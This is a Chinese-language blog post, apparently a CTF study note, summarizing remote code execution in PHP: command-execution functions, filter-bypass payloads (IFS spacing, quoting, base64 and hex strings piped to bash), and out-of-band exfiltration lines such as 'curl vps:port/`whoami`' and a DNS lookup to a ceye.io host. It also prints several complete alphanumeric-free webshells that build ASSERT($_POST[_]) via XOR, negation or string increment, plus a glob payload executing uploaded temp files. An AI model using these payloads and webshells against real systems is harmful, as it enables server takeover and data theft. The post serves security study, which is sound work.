RCE总结

Sl0th Lv4

RCE总结

定义

RCE,远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

命令执行函数

system()

system()函数会调用fork()产生子进程,由子进程调用/bin/sh -c command执行特定的命令,暂停当前进程直到command命令执行完毕,当此命令执行完后随即返回原调用的进程。

当system()正常执行,将返回命令的退出码;

当返回值为127,相当于执行了exit函数,而自身命令没有执行;

当返回值为-1,代表没有执行system调用。

exec()

system()的不同主要在于exec()并不会调用fork()产生新进程、暂停原命令来执行新命令,而是直接覆盖原命令,对返回值有影响。

exec执行command命令时,不会输出全部结果,而是返回结果的最后一行

结果有多行时(如列目录时)要传入第二个参数接收,要求是数组

1
2
3
4
<?php
exec('ls',$arr);
print_r($arr);
?>

shell_exec()

在shell下执行,适用于Linux Macos,并且结果可以有多行,字符串方式返回,绕过执行过程中出错或无输出,返回NULL

1
2
3
4
<?php
$output = shell_exec('ls');
echo $output;
?>

passthru()

passthru直接将结果输出,不返回结果(与system的区别)

系统命令拼接方式

  • “|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help | more
  • “&” commandA & commandB 先运行命令A,然后运行命令B
  • “||” commandA || commandB 运行命令A,如果失败则运行命令B
  • “&&” commandA && commandB 运行命令A,如果成功则运行命令B
  • cmd1 ; cmd2 (; 分号操作符)执行多条命令

绕过技巧

php字符被过滤

使用短标签 <?= php代码 ?>

system被过滤

使用反引号绕过

1
<?= echo `ls /`; ?>

空格被过滤

  • 常见绕过方式有利用URL编码:%20、%09(tab)

  • 还有利用$IFS$9$IFS$1${IFS}$IFS等内部域分隔符(也是IFS的一种,因此没有双引号包裹时被echo会被空格替换)

  • {}也可以,比如这样{cat,flag}

  • < 、<>

IFS 是一种 set 变量,当 shell 处理”命令替换”和”参数替换”时,shell 根据 IFS 的值,默认是 space, tab, newline 来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。

IFS默认值为 3个

IFS的作用就是把字符串里的某某字符(和它一样的字符)转义成分隔符。

而空格被当作分隔符时会合并,因此直接echo含多个空格的变量,会去重连续的空格,若要保留,echo时加上双引号

1
echo "$test"

可以对IFS重新赋值

1
2
3
4
IFS='&'
STRING2="111&222&&333&&&444"
echo $STRING2 # 111 222 333 444 (没有双引号包裹,分隔符以空格显示)
echo "$STRING2" # 111&222&&333&&&444

$* 指的是脚本入口参数的字符串集,是一个全局变量

你在终端输入一个脚本,带了3个参数:

# ./script 111 222 333

那么 echo $* 输出的就是111 222 333

而$*等于111IFS222IFS333IFS444 所以会根据IFS值改变结果

某些关键字被过滤

base64编码绕过

1
echo "Y2F0IC9mbGFn"|base64 -d|bash     //cat /flag

引号绕过

1
2
3
ph""p  =>  php
ca''t => cat
ca``t => cat

偶读拼接绕过

1
?ip=192.168.0.1;a=l;b=s;$a$b //ls

反斜杠 \ 绕过

1
2
3
ca\t => cat
fl\ag => flag
ph\p => php

通配符绕过

[无字母数字webshell之提高篇 | 离别歌 (leavesongs.com) ]

[老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
shell下可以利用.来执行任意脚本
Linux文件名支持用glob通配符代替
/?url=192.168.0.1|cat%09/fla?
/?url=192.168.0.1|cat%09/fla*
假设flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*

假设flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*

假设flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla*

/bin/ca? a*Hello!

这里要注意,你使用的命令补全时会不会存在歧义,比如ca补全时,三个字母的有calcat两种

cal的路径和cat的路径完全不一样,这也是这里为什么要指定路径的缘故

image-20220815032641305
image-20220815032641305

Hex编码绕过

1
2
3
echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") 执行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag

Oct编码绕过

1
$(printf "\154\163")       执行ls

内联执行绕过

1
2
echo "a`pwd`"          #输出a/root
?ip=127.0.0.1;cat$IFS$9`ls`

[]匹配绕过

1
2
3
4
c[a]t  =>  cat
mo[r]e => more
in[d]ex => index
p[h]p => php

字符串拼接

1
2
a=c;b=at;c=a;d=txt;$a$b $c.$da=c;b=at;c=a;d=txt;$a$b ${c}.${d}  # cat a.txt
# Hello!

利用环境变量取值

image-20220815031943830
image-20220815031943830

:3:1 下标为3的字符开始打印一个字符,总的也是一个字符,下标从0开始

1
2
3
4
sh-3.2# echo ${SHELLOPTS}
braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor:posix
sh-3.2# echo ${SHELLOPTS:1:10}
raceexpand

使用空变量

1
c${z}at a.txt

无回显绕过

外带信息,访问vps,然后去日志中查找

1
curl vps:port/`whoami`

或者加上编码也可

1
curl 34kk35.ceye.io/$(whoami | base64)

使用DNS

1
dig `whoami`.34kk35.ceye.io

无数字字母shell

应用场景

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

过滤了数字字母大小写,无法正常传一句话

思路

将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可

  • php5中assert是一个函数,我们可以通过$f='assert';$f(...);这样的方法来动态执行任意代码。
  • 但php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。

方法一

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。

1
2
3
4
5
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

方法二

使用的是位运算里的“取反”,利用的是UTF-8编码的某个汉字,并将其中某个字符取出来,比如'和'{2}的结果是"\x8c",其取反即为字母s

img
img

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

这个答案还利用了PHP的弱类型特性。因为要获取'和'{2},就必须有数字2。而PHP由于弱类型这个特性,true的值为1,故true+true==2,也就是('>'>'<')+('>'>'<')==2

方法三

14872693882387.jpg
14872693882387.jpg

也就是说,'a'++ => 'b''b'++ => 'c'… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

获取字母a

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array,再取这个字符串的第一个字母,就可以获得’A’了。

利用这个技巧,编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($_POST[_]),无需获取小写a):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

无数字字母shell提高篇

多了两个限制:

  1. webshell长度不超过35位
  2. 除了不包含字母数字,还不能包含$_

PHP7下

执行动态函数($a)(); (PHP7后支持)

e.g. ('phpinfo')();

1
(~%8F%97%8F%96%91%99%90)(); //phpinfo()

PHP5下

Linux shell知识点:

  1. shell下可以利用.来执行任意脚本
  2. Linux文件名支持用glob通配符代替

. file的意思就是用bash执行file文件中的命令

Linux下的glob通配符:

  • *可以代替0个及以上任意字符
  • ?可以代表1个任意字符

/tmp/phpXXXXXX就可以表示为/*/?????????/???/?????????

但这种匹配的结果过多,假设要执行/tmp/phpcjggLC

glob支持用[^x]的方法来构造“这个位置不是字符x”,那么,我们用这个姿势干掉/bin/run-parts

1
/???/???[^-]?????

跟正则表达式类似,glob支持利用[0-9]来表示一个范围

image-20220816023000185
image-20220816023000185

所有匹配到的文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。

翻开ascii码表,可见大写字母位于@[之间,我们可以利用[@-[]来表示大写字母

最终payload

1
?><?=`. /???/????????[@-[]`;?>

无数字字母shell的一些trick

获取数字1 0

1
2
3
4
5
6
var_dump(!'');//bool(true)
var_dump(!!'');//bool(false)
var_dump(!''+!!'');//int(1)
//直接放下标也行
$____=$_[!''];//赋值$_[1]
$__=$_[!!''];//赋值$_[0]
  • 标题: RCE总结
  • 作者: Sl0th
  • 创建于 : 2022-07-03 23:29:09
  • 更新于 : 2024-11-11 18:23:06
  • 链接: http://sl0th.top/2022/07/03/RCE总结/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论